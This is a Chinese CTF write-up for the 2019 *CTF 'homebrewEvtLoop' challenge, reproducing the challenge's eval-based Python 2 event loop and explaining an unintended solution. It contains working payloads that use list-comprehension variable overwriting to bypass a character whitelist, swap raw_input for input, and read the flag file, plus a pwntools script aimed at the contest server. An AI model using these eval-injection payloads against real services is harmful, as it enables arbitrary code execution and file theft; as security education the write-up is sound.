2019-starCTF一道题的wp

文章首发于安全客:https://www.anquanke.com/post/id/177596
先放上官方预期的解法:https://github.com/sixstars/starctf2019/tree/master/misc-homebrewEvtLoop
赛后一个非预期解法,更体现了python代码的魅力,下面是分析,如有错误,欢迎师傅们斧正

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import sys
import hashlib
import random

# private ------------------------------------------------------------
def flag():
# flag of stage 1
return '*ctf{[0-9a-zA-Z_[\]]+}'

def flag2():
ret = ''
# flag of stage 2
# ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
return ret

def switch_safe_mode_factory():
ctx = {'io_pair': [None, None]}
def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
return __wrapper

def PoW():
#return
while True:
a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
print 'hashlib.sha1(input).hexdigest() == "%s"' % a
print '>',
input = raw_input()
if hashlib.sha1(input).hexdigest()[:4] == a:
break
print 'invalid PoW, please retry'

# protected ----------------------------------------------------------
def fib(a):
if a <= 1: return 1
return fib(a-1)+fib(a-2)

# public -------------------------------------------------------------
def load_flag_handler(args):
global session
session['log'] = flag2()
return 'done'

def ping_handler(args):
return 'pong'

def fib_handler(args):
a = int(args[0])
if a > 5 or a < 0: return 'out of range'
return str(fib(a))

if __name__ == '__main__':
session = {}
session['log'] = flag()
switch_safe_mode = switch_safe_mode_factory()
switch_safe_mode_factory = None
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')

while True:
PoW()
print '$',
event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
switch_safe_mode()
if event == 'exit': break

for c in event:
if c not in valid_event_chars:
print "invalid request"
exit(-1)

event, args = event.split('114514')
args = args.split('114514')

try:
handler = eval(event)
print handler(args)
#except Exception, e:
# print 'exception:', str(e)
except:
print 'exception'

先上exp

1
2
[[reload][0]for[args]in[[sys]]][0]114514x
[[input][0]for[args]in[[session]]][0]114514x

刚拿到题目,就是2019-ddctf的升级版homebrew event loop可是这里并没有有用的函数。
刚看到exp,可能有点不理解,下面一步一步分析
image.png
image.png
题目限制了输入只能是大小写字母加数字加_[],这里我们得到[reload][0]是一个reload函数,先不解释为什么要用[reload][0],后面分析之后就会一目了然。
先解释一下为什么要用for[args]in[[sys]],这里用到了大家熟知的列表生成器。
参考:列表生成式

1
2
>>> [x * x for x in range(1, 11) if x % 2 == 0]
[4, 16, 36, 64, 100]

逐个取出为x 然后用xx作用一遍之后生成新的list

可能有人会问?这里args可以换成别的字符吗?按道理换成别的字符也是可以的,但是这道题目不行,需要对应下面那条语句: *
print handler(args)**

image.png
这里可能又会问,这一条语句跟上面有啥关系?先来一个demo

1
2
3
4
5
6
7
>>> a = "Decade"
>>> b = [{'log':'FLAG'}]
>>> for a in b:
... pass
...
>>> a
{'log': 'FLAG'}

一针见血,这里a竟然被覆盖了。所以上面不能把args换成别的字符,原因就在于此。可能又会有人问,这一句的作用是为啥?就算是覆盖了,上面已经通过列表生成器重载了sys,然而神奇的是这里并没有。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> def aaa(c):
... print c
...
>>> import sys
>>> args="sss"
>>> d = eval('[[aaa][0]for[args]in[[sys]]][0]')
>>> d
<function aaa at 0x7f501cc0d500>
>>> args
<module 'sys' (built-in)>
>>> d(args)
<module 'sys' (built-in)>
>>> eval('[[aaa][0]for[args]in[[sys]]][0]')
<function aaa at 0x7f501cc0d500>

可以看到这里eval之后得到是aaa函数,这里并没有重载,[[reload][0]for[args]in[[sys]]][0] 这一整句的目的既为了得到reload函数,又为了覆盖掉args,然后通过 print handler(args) 达到重载的目的。回到最先的问题,这里用[reload][0],是为了绕过空格,很容易想到mysql注入的时候通过(xx)来绕过空格的情景,于是通过 [[input][0]for[args]in[[session]]][0]114514x拿到flag
image.png
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
import hashlib
import time

def check(p):
s = p.recvuntil('"')
s = p.recvuntil('"')
s = s[0:-1]
p.recvuntil('> ')
for i in range(0x100):
for j in range(0x100):
t = chr(i) + chr(j)
if hashlib.sha1(t).hexdigest().startswith(s):
p.sendline(t)
#print(t.encode('hex'))
return

context.log_level = 'error'
payload0 = '[[reload][0]for[args]in[[sys]]][0]114514x'
payload1 = '[[input][0]for[args]in[[session]]][0]114514x'
payload2 = 'load_flag_handler114514x'
payload3 = '[[input][0]for[args]in[[session]]][0]114514x'

p = remote('34.92.121.149','54321')
check(p)
print('check1 ok!')
time.sleep(0.5)
p.recvuntil('$ ')
time.sleep(0.5)
p.sendline(payload0)
time.sleep(0.5)
p.recvline()
check(p)
print('check2 ok!')
p.recvuntil('$ ')
time.sleep(0.5)
p.sendline(payload1)
time.sleep(0.5)
print(p.recv())

升级版的那道题同样可以直接出flag,这里可以发现上面我们其实达到了变量覆盖的效果,那么这里我们同样继续覆盖,这里恰好使用了raw_input,翻翻文档发现

1
2
def input(prompt): 
return (eval(raw_input(prompt)))

这里我们可以直接把raw_input覆盖成input,就完全可以不用管waf了,下面直接上payload

1
2
3
[[reload][0]for[args]in[[sys]]][0]114514x   //多轮输入
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514 //覆盖pow、raw_input
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0] //覆盖session,返回的是[[str]for[args]in[[session]]][0][0]114514,最后再eval一次,最终得到flag

7.png

-------------本文结束感谢您的阅读-------------